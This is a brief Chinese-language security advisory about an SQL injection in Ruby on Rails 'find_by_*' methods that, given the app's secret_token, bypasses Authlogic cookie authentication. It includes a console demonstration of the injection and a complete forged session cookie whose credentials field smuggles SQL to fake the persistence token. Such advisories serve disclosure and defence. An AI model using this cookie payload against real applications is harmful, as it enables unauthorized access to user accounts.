Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。Ruby on Rails authlogic cookie通常使用数据库存储的令牌来鉴别用户，相关会话cookie的部分内容如下： user_credentials_id - "User.find_by_id()"使用的数值 user_credentials - 会与数据库用户表"persistence_token"字段进行对比的随机串 由于"find_by_*"方法存在一个类似如下的SQL注入：> User.find_by_id({:select =>"* from users limit 1 --"}) User Load (0.5ms) SELECT * from users limit 1 -- FROM "users" WHERE "users"."id" IS NULL LIMIT 1 => #<User id: 1, [... all the fun stuff]通过此漏洞，在知道"secret_token"的情况下可比较容易的绕过authlogic保护。如下Cookie可访问受authlogic保护的应用：{ "session_id" => "41414141", "user_credentials"=>"Phenoelit", "user_credentials_id"=>{ :select=> " *,\"Phenoelit\" as persistence_token from Users -- " }}